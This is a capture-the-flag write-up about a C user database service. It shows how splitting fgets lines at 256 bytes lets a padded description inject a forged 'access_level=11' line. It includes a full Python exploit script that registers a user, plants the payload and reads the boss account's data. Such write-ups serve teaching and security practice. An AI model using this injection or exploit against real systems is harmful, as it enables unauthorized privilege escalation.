This service was some kind of home made database running on the staff servers. The goal here was to retrive some informations about the user boss who was supposed to be level 10. We were also given the C sources of the application.
First we connected to this service via nc and played a bit with it while looking at the code.
What we have figured is that the database is used to store informations about users. The informations consist in a name, an access level and an optional description. The services stores each user informations into a file placed in the ./users folder. Internally thoses informations are handled with a C struct :
struct userdata {
uint32_t hash;
unsigned int access_level;
char description[512];
};
Here are the commands handled by the service.
- whoami : if the user is logged, its returns its name.
- user username : try to connect as username. Note, username should be already registered in the database.
In this case the service will load the file and store the content into a
struct userdata
structure and wait the user to provide a password. - pass password : provide a password to the service. Supposed to be typed after the command user.
This will compute a hash of password then compare it with the one stored in the loaded strucure. If the two hashes match, the user is now considered as logged in. - register username:pass: register a new user into the database and fill the
struct userdata
structure. The user is also considered as logged in. - logout : if the user is logged in, this will save the
struct userdata
structure into ./users/username. - whois username : if you are logged in, and if your access_level is strictly higher that the username level, this gives you all the informations about that user.
- levelup username : if you are logged in, and if your access_level is strictly higher that the username level, this increments the username access_level.
- set_description desc : if you are logged in this will update your description in the strucure. Note : you have to logout to apply the change to the file.
So here the path was quite clear. We have to find the way to fool the system to have a high access_level then we can whois boss.
Let’s have a look on a typical stored file :
hash=62062626
access_level=0
description=Cool description goes here
Great ! And now how this file is read and how how the struct userdata
is filled ?
struct userdata *read_userfile(char *user) {
struct userdata *res = calloc(1, sizeof(*res));
/* ... */
int fd = open_userfile(user, O_RDONLY);
/* ... */
char line[256];
while (fgets(line, sizeof(line), f))
{
rtrim(line);
char *key = line;
char *eqsign = strchr(line, '=');
if (!eqsign)
continue;
*eqsign = '\0';
char *value = eqsign+1;
if (!strcmp(key, "hash"))
res->hash = atoll(value);
else if (!strcmp(key, "access_level"))
res->access_level = atoi(value);
else if (!strcmp(key, "description"))
strcpy(res->description, value);
else printf("fatal error: bad key \"%s\" in config, aborting\n", key), exit(1);
}
return res;
}
So basically this parses a file by reading it line by line, … assuming that a line has less than 256 bytes. If the line contains more than 256 bytes, this line will be read in two times.
However, the rest of the code expects an user description to be at most 512 bytes, and we have the control of the description with set_description.
Moreover, there is no trace of what have been read so far. So in the file you can have an entry twice witout problem, since only the last line will be used.
So, what could go wrong ?
Well we can make a file like that :
hash=62062626
access_level=0
description=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaccess_level=11
And this will be read as it would be :
hash=62062626
access_level=0
description=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
access_level=11
And then give the user an arbitrary access_level.
So right now we can write an exploit. Here is mine for instance :
import socket
def sendAndPrint(sock, buff):
sock.send(buff)
print buff
host='wildwildweb.fluxfingers.net'
port=1410
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))
print sock.recv(256),
sendAndPrint(sock, 'register johnCool:iwannapwnthis' + '\x0a')
print sock.recv(256),
print sock.recv(256),
payloadLen = 256 - len('description=') - 1
sendAndPrint(sock, 'set_description ' + 'A' * payloadLen + 'access_level=11' + '\x0a')
print sock.recv(256),
print sock.recv(256),
sendAndPrint(sock, 'logout' + '\x0a')
print sock.recv(256),
print sock.recv(256),
sendAndPrint(sock, 'user johnCool' + '\x0a')
print sock.recv(256),
print sock.recv(256),
sendAndPrint(sock, 'pass iwannapwnthis' + '\x0a')
print sock.recv(256),
print sock.recv(256),
sendAndPrint(sock, 'whois boss' + '\x0a')
print sock.recv(256),
print sock.recv(256),
And you get the flag : flag{this_is_why_gets_is_better_than_fgets} .
Thanks again to the fluxfingers team for this amazing CTF !
Comments !